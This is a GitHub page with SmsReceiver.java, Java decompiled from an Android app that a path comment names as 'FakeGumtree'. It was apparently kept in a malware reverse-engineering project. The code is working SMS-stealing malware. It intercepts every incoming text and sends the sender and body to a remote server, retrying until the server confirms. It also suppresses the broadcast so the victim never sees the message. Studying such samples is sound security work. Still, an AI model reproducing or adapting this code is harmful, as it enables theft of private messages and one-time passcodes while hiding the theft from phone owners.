-
Notifications
You must be signed in to change notification settings - Fork 13
/
SmsReceiver.java
93 lines (87 loc) · 3.11 KB
/
SmsReceiver.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.gumsis.mess.service.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import com.gumsis.api.request.HTTPServer;
import com.gumsis.api.request.HttpResponse;
import com.gumsis.api.request.HttpResponseHandler;
import com.gumsis.checktls.Print;
import com.gumsis.mess.api.SendReceivedSmsRequest;
import com.gumsis.srs.api.responses.StatusResponse;
public class SmsReceiver
extends BroadcastReceiver
{
private void sendReceivedSmsRequest(final Context paramContext, final String paramString1, final String paramString2, long paramLong)
{
paramContext = new SendReceivedSmsRequest(paramContext, paramString1, paramString2, new HttpResponseHandler()
{
public void onResponse(int paramAnonymousInt, HttpResponse paramAnonymousHttpResponse)
{
try
{
paramAnonymousHttpResponse = (StatusResponse)paramAnonymousHttpResponse;
if (paramAnonymousHttpResponse.ret == 0)
{
if (paramAnonymousHttpResponse.answer != null)
{
if (paramAnonymousHttpResponse.answer.equalsIgnoreCase("accepted")) {
return;
}
SmsReceiver.this.sendReceivedSmsRequest(paramContext, paramString1, paramString2, 60000L);
return;
}
SmsReceiver.this.sendReceivedSmsRequest(paramContext, paramString1, paramString2, 60000L);
return;
}
}
catch (Exception paramAnonymousHttpResponse)
{
paramAnonymousHttpResponse.printStackTrace();
return;
}
SmsReceiver.this.sendReceivedSmsRequest(paramContext, paramString1, paramString2, 60000L);
}
});
HTTPServer.getInstance().doRequestDelayed(paramContext, paramLong);
}
private void smsReceived(Context paramContext, Bundle paramBundle)
throws Exception
{
paramBundle = (Object[])paramBundle.get("pdus");
if (paramBundle != null)
{
int j = paramBundle.length;
int i = 0;
while (i < j)
{
SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])paramBundle[i]);
sendReceivedSmsRequest(paramContext, localSmsMessage.getDisplayOriginatingAddress(), localSmsMessage.getDisplayMessageBody(), 0L);
abortBroadcast();
i += 1;
}
}
}
public void onReceive(Context paramContext, Intent paramIntent)
{
Bundle localBundle = paramIntent.getExtras();
if (localBundle != null) {}
try
{
paramIntent = paramIntent.getAction();
if ((paramIntent != null) && (paramIntent.equals("android.provider.Telephony.SMS_RECEIVED"))) {
smsReceived(paramContext, localBundle);
}
return;
}
catch (Exception paramContext)
{
Print.e("Exception smsReceiver" + paramContext);
}
}
}
/* Location: /home/cmd/Programmierung/Android/reverse-engineering/fakegumtree/FakeGumtree-dex2jar.jar!/com/gumsis/mess/service/receiver/SmsReceiver.class
* Java compiler version: 6 (50.0)
* JD-Core Version: 0.7.1
*/